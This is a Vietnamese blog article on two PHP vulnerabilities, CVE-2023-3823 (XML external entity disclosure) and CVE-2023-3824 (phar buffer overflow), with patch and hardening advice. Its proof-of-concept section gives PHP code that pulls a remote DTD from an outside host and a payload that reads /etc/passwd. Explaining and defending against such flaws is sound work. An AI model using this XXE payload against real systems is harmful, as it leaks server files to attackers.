CVE-2023-3823 & CVE-2023-3824: Lỗi bảo mật khi xử lý file xml trên PHP

08.08.2023

5.0/5 (1 Reviews)

Hai lỗ hổng CVE-2023-382 vừa được phát hiện trong PHP cho phép kẻ tấn công từ xa đánh cắp thông tin nhạy cảm từ ứng dụng viết bằng PHP.

    Hai lỗ hổng nghiêm trọng vừa được phát hiện trong PHP - một ngôn ngữ lập trình phổ biến dùng để phát triển các ứng dụng viết cho máy chủ, mã nguồn mở, thích hợp để tạo các trang web động và có thể dễ dàng kết hợp với HTML.

    CVE-2023-3823: Lỗi tiết lộ thông tin

    Đây là lỗ hổng tiết lộ thông tin có điểm CVSS 8,6 cho phép kẻ tấn công từ xa đánh cắp thông tin nhạy cảm từ ứng dụng viết bằng PHP.

    Lỗ hổng tồn tại do xác thực đầu vào XML của người dùng cung cấp không đầy đủ. Kẻ tấn công có thể khai thác lỗ hổng này bằng cách gửi mã XML tự tạo tới ứng dụng. Sau đó, ứng dụng sẽ phân tích cú pháp của mã này, từ đó kẻ tấn công có quyền truy cập vào thông tin nhạy cảm, chẳng hạn như nội dung của các tệp tùy ý trên hệ thống hoặc xem được kết quả các truy vấn bên ngoài.

    Mọi ứng dụng, thư viện và máy chủ phân tích cú pháp hoặc tương tác với các tài liệu XML đều bị ảnh hưởng bởi CVE-2023-3823.

    CVE-2023-3824: Lỗi tràn bộ đệm

    Đây là lỗ hổng tràn bộ đệm có điểm CVSS 9,4 cho phép kẻ tấn công từ xa thực thi mã tùy ý trên hệ thống chạy bằng PHP.

    Lỗ hổng tồn tại do kiểm tra giới hạn hàm phar_dir_read() không đúng. Kẻ tấn công có thể khai thác lỗ hổng này bằng cách gửi một yêu cầu tự tạo tới ứng dụng gây ra lỗi tràn bộ đệm, cho phép chúng giành quyền kiểm soát hệ thống và thực thi mã tùy ý.

    Bên cạnh đó, vẫn còn rủi ro về việc tràn bộ đệm trong hàm "memset". Mặc dù hiện tại chưa có trường hợp nào xảy ra trong chính PHP, nhưng các tiện ích mở rộng từ bên thứ ba vẫn có thể bị ảnh hưởng bởi CVE-2023-3824.

    Thực tế, việc tấn công và lạm dụng lỗ hổng này khá phức tạp, tùy thuộc vào ứng dụng bị nhắm mục tiêu. Tuy vậy, về mặt lý thuyết, việc khai thác vẫn có thể xảy ra. Theo khuyến cáo cho biết: "Những người kiểm tra nội dung của các tệp phar không đáng tin cậy có thể bị ảnh hưởng."

    Khuyến cáo

    Cả hai lỗ hổng CVE-2023-3823 và CVE-2023-3824 đều đã được vá trong phiên bản PHP 8.0.30 và đã có mã khai thác (PoC). Vì vậy, người dùng nên nâng cấp lên phiên bản mới càng sớm càng tốt và thực hiện thêm các bước dưới đây để bảo vệ các ứng dụng viết bằng PHP:

    • Xác thực tất cả dữ liệu đầu vào của người dùng đầy đủ
    • Sử dụng tường lửa ứng dụng web (WAF) để ngăn chặn các lỗ hổng và hành vi độc hại.
    • Luôn cập nhật phiên bản mới nhất của PHP.

    Hướng dẫn tấn công  - PoC

    Hành vi dường như phụ thuộc vào một số yếu tố "ngẫu nhiên".

    Một gợi ý vào lúc này là nó hoạt động trong lần chạy đầu tiên trong quy trình PHP/Apache thường xuyên hơn sau đó được sử dụng lại. Chúng tôi chưa bao giờ có thể sản xuất nó trên Nginx với PHP-FPM

    Chúng tôi không bao giờ có thể sản xuất nó trên CLI Chúng tôi đã có thể sao chép nó với các phiên bản bảo trì mới nhất của PHP 8.0, 8.1 và 8.2 cùng với Apache2 trên Debian

    Chúng tôi không thể sao chép nó với các phiên bản bảo trì mới nhất của PHP bằng cách sử dụng Apache2 trên Ubuntu, nhưng trình báo cáo ban đầu dường như đang chạy trên Ubuntu.

    PoC - Mã tham khảo

    <?php
    $xml= "<?xml version='1.0' encoding='utf-8' ?><!DOCTYPE root [<!ENTITY % remote SYSTEM \"https://bin.icewind.me/r/p0gzLJ\"> %remote; %intern; %trick;]><D:propfind xmlns:D='DAV:'><D:allprop/></D:propfind>";
    libxml_use_internal_errors(true);
    $dom = new DOMDocument();
    $dom->loadXML($xml);
    echo $dom->textContent;
    foreach (libxml_get_errors() as $error) {
    		var_dump($error);
    }

    Nếu bạn không muốn chạy mã từ máy chủ của chúng tôi, bạn có thể thay thế https://bin.icewind.me/r/p0gzLJ bằng một liên kết của riêng bạn và làm cho nó phục vụ nội dung sau:

    <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'file://WOOT%payload;WOOT'>">

    Vấn đề chúng tôi hiện đang phải đối mặt là như sau: Trong hầu hết các trường hợp, chúng tôi nhận được chính xác:

    PEReference: %intern; not found on line …, column …
    báo cáo đã đề cập rằng khi điều này xảy ra, chúng tôi nên thử chạy nó nhiều lần và thực tế trên một số hệ thống, chúng tôi đã nhận được phản hồi khác sau một số lần chạy:
    WOOT{{base64 encoded content of /etc/passwd}}WOOT

    Hãy thử kết quả nhé,.

    Xem thêm PoC gốc tại link dưới đây:

    https://github.com/php/php-src/security/advisories/GHSA-3qrf-m4j2-pcrr
    CÓ THỂ BẠN QUAN TÂM

    Bài Viết Cùng Chuyên Mục

    XEM THÊM
    thumbnail

    LPStack Server: Giải pháp thay thế XAMPP và MAMP năm 2026

    10.03.2026

    Bạn đã chán ngấy XAMPP hay MAMP chậm chạp? Khám phá LPStack Server – Môi trường Local Development siêu nhẹ của người Việt với Auto Vhost, Public Tunnel, chuyển đổi PHP 1-click và quản lý Database Native chuyên nghiệp

    thumbnail

    Hướng Dẫn Tạo Trò Chơi Cờ Caro Nâng Cao bằng HTML

    19.03.2025

    Chào các bạn! Trong bài viết này, chúng ta sẽ cùng nhau xây dựng một trò chơi Cờ Caro đơn giản nhưng có nhiều tính năng thú vị như giới hạn nước đi, pháo hoa khi chiến thắng, chọn chế độ chơi và đếm thời gian.

    thumbnail

    Grok AI: Giới thiệu chi tiết về chatbot của Elon Musk

    04.03.2025

    Grok là một chatbot AI tiên tiến, được phát triển bởi xAI, công ty do Elon Musk sáng lập. Ra mắt lần đầu vào tháng 11/2023, Grok được thiết kế để cạnh tranh với các mô hình AI nổi tiếng như ChatGPT

    thumbnail

    Hướng dẫn tạo Livechat trả lời bằng AI Grok của X

    04.03.2025

    Hướng dẫn kỹ thuật tạo Livechat AI bằng HTML, CSS, JavaScript và PHP Dưới đây là hướng dẫn từng bước để xây dựng một ứng dụng livechat AI đơn giản. Chúng ta sẽ có giao diện frontend (HTML, CSS, JS) và backend (PHP) xử lý tin nhắn.

    thumbnail

    Temu Affiliate là gì? Cách kiếm tiền với Temu mới nhất 2024

    23.10.2024

    Temu Affiliate là một chương trình tiếp thị liên kết mới mẻ được đưa ra bởi sàn thương mại điện tử Temu. Tham gia ⭐️ Chương trình tiếp thị liên kết Temu⭐️! Lên đến ????₫2.500.000.000 mỗi tháng